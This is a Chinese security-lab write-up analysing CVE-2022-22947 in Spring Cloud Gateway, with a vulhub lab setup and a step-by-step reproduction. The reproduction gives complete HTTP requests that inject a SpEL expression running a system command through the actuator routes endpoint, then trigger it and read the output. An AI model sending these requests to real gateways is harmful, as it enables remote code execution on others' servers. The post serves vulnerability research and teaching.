声明
以下内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。
0x01 漏洞描述
0x02 漏洞影响
漏洞编号:CVE-2022-22947
影响版本:
-
Spring Cloud Gateway < 3.1.1
-
Spring Cloud Gateway < 3.0.7
-
Spring Cloud Gateway 较低、不受支持的版本也会受到影响
0x03 环境搭建
git clone https://github.com/vulhub/vulhub
cd vulhub/spring/CVE-2022-22947/
docker-compose up -d //启动环境
docker ps -a //查看测试环境运行情况
0x04 漏洞分析
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory,
String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue,
new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}
src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
分析得知gatValue函数在ShortcutType
枚举类的三个取里被调用值
(DEFAULT
GATHER_LIST GATHER_LIST_TAIL_FLAG)
根据官方文档表示称,acutator开启后可以通过访问/actuator/gateway/routes路径列出路由,路由中包含filter,如:
0x05 漏洞复现
5.1 构造命令回显请求
(new String[]{"id"})//创建一个字符串
(T(java.lang.Runtime).getRuntime().exec//运行代码的函数
getInputStream()//获取执行结果
T(org.springframework.util.StreamUtils).copyToByteArray//将执行结果转换为数组
new String()//将数组转换为字符串
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new
String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).
getRuntime().exec(new String[]{"id"}).getInputStream()))}"
}
}
],
"uri": "http://example.com"
}
5.2 触发刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
5.3 命令回显
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
5.4 删除创建的路由
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
0x06 漏洞修复
6.1 临时修复建议
6.2 通用修复建议
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号(长白山攻防实验室):Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论